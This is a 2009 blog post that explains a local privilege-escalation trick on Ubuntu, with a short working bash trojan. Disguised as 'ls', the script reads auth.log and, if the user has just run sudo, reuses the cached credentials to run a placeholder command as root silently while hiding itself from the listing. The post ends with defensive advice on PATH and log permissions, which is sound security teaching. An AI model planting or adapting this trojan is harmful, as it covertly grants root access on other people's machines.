Thursday, 9 July 2009

auth.log and sudo on Ubuntu

Take a look at


#!/bin/bash
eval 'n=$(date +%s); d=$(grep sudo /var/log/auth.log | grep `whoami` | grep COMMAND | tail -1 | awk '"'{ print \$1,\$2,\$3 }'"'); o=$(date -d "$d" +%s); t=$(($n-$o)); [ "$t" -lt "300" ] && sudo -b -n do_evil_stuff >/dev/null 2>&1'
ls --color=auto -I ls $@


What does it do?

Well, if you named it "ls", made it executable and put in it a user's home directory it may allow you to run do_evil_stuff as root.

How does it work?

Basically, it greps the /var/log/auth.log file for lines containing "sudo", the current username and "COMMAND" and then gets the timestamp of the last entry. It compares the timestamp with the current timestamp and if the result is less than 300 seconds (i.e. 5 minutes) it executes do_evil_stuff (create user, backdoor or whatever).

We use the "-b" background option to run do_evil_stuff in the background and we use the "-n" option so that sudo will never prompt the user for a password, thereby giving the game away.

The final command actually runs ls but removes our "ls" script from the output.

Why does it work?

Well, whenever you run the sudo command, it logs it in the auth.log file. Sudo will then generally cache that authentication for 5 minutes so that you don't have to keep typing the password every time you run a command. If you can run a command as the user and then check when they last ran sudo, you can determine whether or not you will be able to use sudo without being prompted for a password.

The user has to be an "administrator" (have access to the admin groups) to use sudo, but it is taking advantage of the default configuration of allowing administrators to read auth.log without being root (or sudoed).

Of course, you have to get this on to the user's machine in the first place, put it somewhere they are likely to run it and make sure they have "." in their path so they run the current directory version.

I have only tried this on Ubuntu Karmic, but it might apply to other distros as well.

If you like, you could get the ls command from an alias if there is one, rather than guessing that they use "--color=auto".

It's a bit old-school, a bit naff but hey. If you want to prevent it, make sure only root can read /var/log/auth.log. I don't know if that would break anything though.

A note or two:

If a user is running multiple terminals in an X session and has run sudo in one of the terminals, then you probably won't be able to borrow it in another terminal, even if sudo was run in the last 5 minutes. However, because we are using sudo's "-n" option, the user shouldn't directly notice our attempt.

Failed sudo attempts should show up in the auth.log, so try to review your logs regularly.


A suggestion or two:

Make sure you don't have "." in your PATH environmental variable.

If you need to run a script with sudo (perhaps it updates the network or something), then do not allow the user to modify it. I suggest you chown it to root and chmod it to 755. Otherwise someone could easily just sneak their code into your script.

No comments:

Post a Comment